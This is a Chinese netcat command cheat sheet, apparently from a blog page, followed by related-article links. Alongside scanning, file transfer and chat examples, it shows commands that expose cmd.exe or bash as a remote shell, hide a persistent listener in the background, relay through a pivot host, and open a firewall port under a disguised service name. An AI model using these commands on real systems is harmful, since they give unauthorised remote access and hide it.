nc用法
NC 在客户端 和 服务器执行
---------------------------------------------------------------------------------------------------------------------------------------------------
执行命令 -l 表示在服务器端启用监听模式
-p 指定监听的端口
-e 指定允许远程客户端访问监听端口时执行的程序
例如:
在远程服务器端执行 NC -l -p 12345 -e cmd.exe //表示在(windows)服务器监听12345端口,如果远程客户端访问12345端口将会将本地cmd.exe反 弹给客户端执行。
nc -l -p 12345 -e /bin/bash //在(linux)服务器监听12345端口,如果远程客户端访问12345端口会将本地bash反弹给客户端执行。
在本地客户端执行 nc 服务器ip 12345 // 连接服务器的12345端口,如果服务器端指定连接时执行的程序,会将服务器端的cmd.exe等反弹给客户端。
---------------------------------------------------------------------------------------------------------------------------------------------------
其他命令
-d隐藏服务在后台运行
nc -l -p 12345 -e cmd.exe -d //隐藏窗口服务后台运行
0.71版本 -d 2 设置延迟2秒后执行命令
-L不断打开nc进程,不断开随时连接
nc -l -p 12345 -e cmd.exe -d -L
-k 服务器端允许多个客户端连接数
-n 不做域名解析
-v/-vv 显示详细信息
-z syn扫描 -r随机端口 -i 设置延迟扫描
nc -v 192.168.113.1 21,80,443
nc -v 192.168.113.1 1-200
nc -v 192.168.113.1 http
输出重定向
nc -l -p 12345 > test //输出到test
>> //追加到不覆盖原有内容
-u 使用udp模式
---------------------------------------------------------------------------------------------------------------------------------------------------
可以交互聊天
nc -n -l -u -p 53
nc -n -u ip 53
--------------------------------------------------------------------------------------------------------------------------------------------------
文件传输
远程服务端 nc -l -p 12345 < test.txt //远程服务器端执行,将服务器端test.txt发送给客户机
本地客户机 nc ip 12345 > test.txt //客户端执行,连接服务器获取test.txt
本地做服务器 nc -l -p 12345 > test.txt
远程客户机 nc ip 12345 < test.txt
-w 2 传输完成后2秒后断开
-o test 抓包保存至test
---------------------------------------------------------------------------------------------------------------------------------------------------
获取信息,下载
nc ip 22 //获取某ip的ssh服务信息
nc 域名 port
GET / HTTP/1.0
HEAD / HTTP/1.0 获取服务信息 两次回车
---------------------------------------------------------------------------------------------------------------------------------------------------
跳板
A主机 nc b_ip 33333 //第三步连接b主机33333端口相当于访问c主机55555端口
B主机 nc -l -p 33333 | nc c_ip 55555 //第二步B主机连接C主机55555端口并通过管道转至本机通过33333端口监听
C主机 nc -l -p 55555 //第一步在C主机监听55555端口
----------------------------------------------------------------------------------------------------------------------------------------------------
netsh firewall show opmode 显示防火墙工作模式
netsh firewall set opmode mode = enable exceptions =enable profile =all
netsh firewall add portopening tcp 1234 "Windows Firewall Reporting Agent" enable all
netsh firewall show portopening
nc用法的更多相关文章
- linux监控命令nc用法
一.nc命令检测端口的用法 # nc -v -w 10 %IP% -z %PORT% -v 显示指令执行过程. -w <超时秒数> 设置等待连线的时间. -u 表示使用UDP协议 -z 使 ...
- nc用法【转】
linux nc命令使用详解 功能说明:功能强大的网络工具 语 法:nc [-hlnruz][-g<网关...>][-G<指向器数目>][-i<延迟秒数>][-o& ...
- nc用法小记
By francis_hao Jun 30,2017 ncat:连接和重定向套接字 概要 ncat [OPTIONS...] [hostname] [port] 描述 ncat 是一个集 ...
- nc命令用法举例
什么是nc nc是netcat的简写,有着网络界的瑞士军刀美誉.因为它短小精悍.功能实用,被设计为一个简单.可靠的网络工具 nc的作用 (1)实现任意TCP/UDP端口的侦听,nc可以作为server ...
- 12. nc/netcat 用法举例
nc命令用法举例 什么是nc nc是netcat的简写,有着网络界的瑞士军刀美誉.因为它短小精悍.功能实用,被设计为一个简单.可靠的网络工具 nc的作用 (1)实现任意TCP/UDP端口的侦听,nc可 ...
- nc命令用法举
什么是nc nc是netcat的简写,有着网络界的瑞士军刀美誉.因为它短小精悍.功能实用,被设计为一个简单.可靠的网络工具 nc的作用 (1)实现任意TCP/UDP端口的侦听,nc可以作为server ...
- NC 命令引用了一个高手的文章做收藏
什么是nc nc是netcat的简写,有着网络界的瑞士军刀美誉.因为它短小精悍.功能实用,被设计为一个简单.可靠的网络工具 nc的作用 (1)实现任意TCP/UDP端口的侦听,nc可以作为server ...
- 使用nc传输文件和目录【转】
方法1,传输文件演示(先启动接收命令) 使用nc传输文件还是比较方便的,因为不用scp和rsync那种输入密码的操作了 把A机器上的一个rpm文件发送到B机器上 需注意操作次序,receiver先侦听 ...
- 【转至nmap】nc命令
什么是nc nc是netcat的简写,有着网络界的瑞士军刀美誉.因为它短小精悍.功能实用,被设计为一个简单.可靠的网络工具 nc的作用 (1)实现任意TCP/UDP端口的侦听,nc可以作为server ...
随机推荐
- csp考前
T1不会太麻烦,不行心里多说几遍"沙比提,沙比提".就做出来了. 后天就要出发了,可是我感觉不到长进---- 可能又学一年是个不明智的想法,退役预定.
- [LeetCode] 871. Minimum Number of Refueling Stops 最少的加油站个数
A car travels from a starting position to a destination which is target miles east of the starting p ...
- [LeetCode] 22. Generate Parentheses 生成括号
Given n pairs of parentheses, write a function to generate all combinations of well-formed parenthes ...
- Codeforces 652F 解题报告
题意 有n只蚂蚁在长度为m个格子的环上,环上的格子以逆时针编号,每只蚂蚁每秒往它面向的方向移动一格.如果有两只蚂蚁相撞则相互调换方向,问t秒后每只蚂蚁的位置. 题解 首先通过观察可以发现 蚂蚁相撞产生 ...
- thinkphp5.1 - twig模板-全局变量
thinkphp5.1 - twig模板-全局变量我们在定义 ccs 之类的静态文件的时候,经常会使用<link rel="stylesheet" href="__ ...
- 多项式 ln
多项式 ln 定义 \(给一多项式F(x),求G(x)\equiv lnF(x)\pmod x^n\) 前置知识 \(不定积分\) \(微分\) \(多项式乘法逆\) 推式子: \[\because ...
- HUSKY CLOCK1.0上线啦!
有人需要HUSKY CLOCK1.0下载资源的请联系1335415335@qq.com! 感谢支持,您的认可是我们前进的动力!
- NodeJS添加Jquery依赖
NodeJS使用时有时候需要JQuery依赖. 新版正确的依赖方式 var jsdom = require('jsdom'); const {JSDOM} = jsdom; const {docume ...
- AtomicReference示例
对引用类型的原子性操作 /** * *对引用变量的原子操作 note: *在java中对引用类型的变量,赋值是原子性的,为什么还要有atomicReference,假如要对一个引用类型进行比较,设置等 ...
- Centos6 No CMAKE_CXX_COMPILER could be found
[1]问题现象 cmake发生异常:如下图所示 [2]问题分析 Centos6 上使用Cmake出现错误 "No CMAKE_CXX_COMPILER could be found.&quo ...